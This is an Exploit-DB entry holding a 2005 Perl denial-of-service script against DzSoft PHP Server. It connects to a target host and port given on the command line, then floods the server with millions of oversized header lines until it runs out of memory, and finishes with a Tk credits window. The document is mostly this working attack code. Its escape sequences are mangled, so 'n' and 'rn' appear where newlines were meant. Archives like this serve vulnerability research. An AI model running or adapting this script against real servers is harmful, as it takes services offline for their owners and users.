https://www.exploit-db.com/exploits/1109

漏洞细节尚未披露

#!/usr/bin/perl
#
#    DzSoft PHP Server DOS Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
# 
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
#

$subject = "DzSoft PHP Server DOS Exploit";
$vers = "DzSoft PHP Editor  3.1.2.8";
$vendor = "http://www.dzsoft.com";
$codz = "basher13 - basher13(at)linuxmail.org";

$ARGC=@ARGV;
if ($ARGC !=2) {
    print "n";
    print "   $subjectn";
    print "------------------------------------nn";
    print "Usage: $0 [remote IP] [port]n";
    print "Exam: $0 127.0.0.1 80n";
    exit;
}

use IO::Socket::INET;
use Tk;

$host=$ARGV[0];
$port=$ARGV[1];

print "n";
print "-------------------------------------------------------n";
print "[?] Version: libwww-perl-$LWP::VERSIONn";
print "[+] Connect to $host..n";
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') 
|| die "[-] Connection error$@n";

print "[+] Connectedn";
print "[+] Bindmode for socket..n";
sleep(1);
binmode($sock);

print "[+] Build buffer..n";
$hostname="Host: $host";
$bufy='A'x50;
$bufa='A'x8183;
$len=length($bufy);
$buff="GET / HTTP/1.1rn";
sleep(1);

print "[+] Now kill the process..waitn";
send($sock,$buff,0) || die "[-] send error:$@n";
print "[+] Sending buffer..n";
for($i= 0; $i < 2000000; $i++)
{
    $buff=" $bufarn";
    send($sock,$buff,0) || die "[*] send error:$@, Check if server D0s'edn";
}
$buff="$hostnamern";
$buff.="Content-Length: $lenrn";

$buff.="rn";
$buff.=$bufy."rnrn";

send($sock,$buff,0) || die "[-] send error:$@n";
print "[+] Server Out of Memoryn";
close($sock);
print "-------------------------------------------------------n";
my $mw = MainWindow->new(-title => 'INFO',);
    my $var;

    my $opt = $mw->Optionmenu(
                
                -options => [qw()],
                -command => sub { print "n[>]: ", shift, "n" },
                -variable => $var,
                )->pack;
    $opt->addOptions([- Subject=>$subject],[- Version=>$vers],[- Vendor=>$vendor],[- Coder=>$codz]);   
    $mw->Button(-text=>'CLOSE', -command=>sub{$mw->destroy})->pack;
    MainLoop;

# milw0rm.com [2005-07-15]